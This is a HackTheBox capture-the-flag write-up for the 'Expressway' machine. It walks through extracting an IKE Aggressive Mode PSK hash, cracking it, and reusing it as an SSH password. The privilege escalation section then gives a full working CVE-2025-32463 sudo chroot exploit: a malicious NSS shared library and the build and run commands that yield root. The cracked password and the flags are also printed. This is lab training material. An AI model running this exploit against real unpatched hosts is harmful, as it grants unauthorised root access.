Expressway

Platform: HackTheBox | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-02-25 | Status: Solved Techniques: credential_reuse_vpn_to_ssh, ike_aggressive_mode_psk_extraction, psk_dictionary_cracking, sudo_chroot_lpe_nsswitch_poisoning

Summary

Task: HackTheBox medium machine with IPsec VPN (strongSwan) on UDP/500 and SSH. Solution: Extract PSK hash via IKE Aggressive Mode, crack it, reuse password for SSH access, then exploit CVE-2025-32463 (sudo 1.9.17 chroot LPE via nsswitch.conf poisoning) for root.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackthebox | ID: 20260225_hackthebox_expressway
• Tags: aggressive_mode, credential_reuse, cve-2025-32463, debian, full_pwn, hackthebox, ike, ipsec, linux, nsswitch, psk, strongswan, sudo, suid, vpn
• Indicators: UDP port 500 open — IKE/ISAKMP service, IKEv1 with PSK authentication and Aggressive Mode support, Custom /usr/local/bin/sudo binary (non-system sudo), Sudo version 1.9.17 (pre-1.9.17p1) — CVE-2025-32463, sudo -R flag accepted without 'not permitted' error
• Source: 20260225_hackthebox_expressway.md

Foothold

Vulnerability / Misconfiguration

1. credential_reuse_vpn_to_ssh
2. ike_aggressive_mode_psk_extraction
3. psk_dictionary_cracking
4. sudo_chroot_lpe_nsswitch_poisoning

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• credential_reuse_vpn_to_ssh
• ike_aggressive_mode_psk_extraction
• psk_dictionary_cracking
• sudo_chroot_lpe_nsswitch_poisoning
• Tags: aggressive_mode, credential_reuse, cve-2025-32463, debian, full_pwn, hackthebox, ike, ipsec, linux, nsswitch, psk, strongswan, sudo, suid, vpn

Original Writeup

<details><summary>Click to expand original content</summary>

Description

HackTheBox medium difficulty machine. Debian server with IPsec VPN (strongSwan) on UDP/500 and SSH on TCP/22. Initial access via PSK hash extraction from IKE Aggressive Mode and dictionary cracking, then password reuse for SSH. Privilege escalation through CVE-2025-32463 — a vulnerability in sudo 1.9.17 that allows loading an arbitrary shared library as root via nsswitch.conf substitution in a user-controlled chroot.

Reconnaissance

Port Scanning

Nmap discovered only 2 TCP ports:

• 22/tcp — SSH (OpenSSH 10.0p2 Debian)
• 53/tcp — unknown service (rabbit hole: connection establishes but any data causes "Network is down")

Key finding — UDP port 500 (IKE/ISAKMP):

 bash read-only • copy allowed Copy
nmap -sU -p 500 10.129.4.240
# 500/udp open isakmp

Analysis

IKE Enumeration

Probing the VPN service with ike-scan:

 bash read-only • copy allowed Copy
ike-scan 10.129.4.240

Result — IKEv1 Main Mode handshake with parameters:

• Encryption: 3DES
• Hash: SHA1
• DH Group: 2 (modp1024)
• Auth: PSK (Pre-Shared Key)
• XAUTH support
• Dead Peer Detection v1.0

Weak parameters (3DES + SHA1 + DH Group 2) and PSK authentication — classic vector for Aggressive Mode attack.

IKE Aggressive Mode — PSK Hash Extraction

IKEv1 Aggressive Mode transmits the PSK hash in cleartext (unlike Main Mode where identity is protected):

 bash read-only • copy allowed Copy
ike-scan --aggressive --id=vpn --pskcrack=ike_hash.txt 10.129.4.240

Server responded with Aggressive Mode handshake and revealed its identity:

• Server ID: ike@expressway.htb (ID_USER_FQDN)
• PSK hash saved to ike_hash.txt

PSK Cracking

 bash read-only • copy allowed Copy
psk-crack -d rockyou.txt ike_hash.txt

PSK: freakingrockstarontheroad

Solution

Step 1: User Access — SSH via Password Reuse

From IKE identity ike@expressway.htb extracted username ike. VPN PSK reused as SSH password:

 bash read-only • copy allowed Copy
sshpass -p 'freakingrockstarontheroad' ssh ike@10.129.4.240

Successful login as ike (uid=1001, groups: ike, proxy).

 bash read-only • copy allowed Copy
cat /home/ike/user.txt
# d92ebe2ef753a2414aff0ba42be769c6

Step 2: Enumeration for Privilege Escalation

Key findings on the server:

Step 3: CVE-2025-32463 — Sudo 1.9.17 Chroot LPE

Vulnerability: Sudo 1.9.17 allows an unprivileged user to use the -R flag (chroot) to specify an arbitrary root directory. When resolving paths, sudo performs chroot() to the specified directory and loads /etc/nsswitch.conf from there. If nsswitch.conf points to a malicious NSS library — it gets loaded as root.

• CVSS: 9.3
• Fixed in: sudo 1.9.17p1
• CISA KEV: yes (actively exploited)

Vulnerability check:

 bash read-only • copy allowed Copy
/usr/local/bin/sudo -R woot woot
# Vulnerable version: "sudo: woot: No such file or directory"
# Fixed version: "you are not permitted to use the -R option"

Exploitation:

 bash read-only • copy allowed Copy
# Create working directory
cd $(mktemp -d)

# Create fake chroot structure
mkdir -p woot/etc libnss_

# Create poisoned nsswitch.conf — points to our NSS library
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

# Write malicious shared library
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void w(void){
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id; cat /root/root.txt");
}
EOF

# Compile as shared library
gcc -shared -fPIC -Wl,-init,w -o libnss_/woot1337.so.2 w.c

# Run sudo with our chroot — library gets loaded as root
/usr/local/bin/sudo -R woot woot

Result:

uid=0(root) gid=0(root) groups=0(root)
40efbdd162e3511d06a2dea9ee002ea0

Flags

User: d92ebe2ef753a2414aff0ba42be769c6
Root: 40efbdd162e3511d06a2dea9ee002ea0

Rabbit Holes

1. Port 53/tcp — looked like a DNS service in nmap, but connections established without data transfer ("Network is down"). Not a real DNS.

2. Exim 4.98.2 SUID (/usr/sbin/exim4) — SUID binary, but Exim immediately drops privileges to Debian-exim. The -be mode (expansion) runs as the calling user (euid=1001). CVE-2025-30232 (-dp UAF) didn't work — the -dp flag is not recognized in this build.

3. TFTP Cisco config (ciscortr.cfg) — contained VPN configuration and passwords (secret-password), but the information is not applicable for privilege escalation.

</details>

---

signed by XESXOR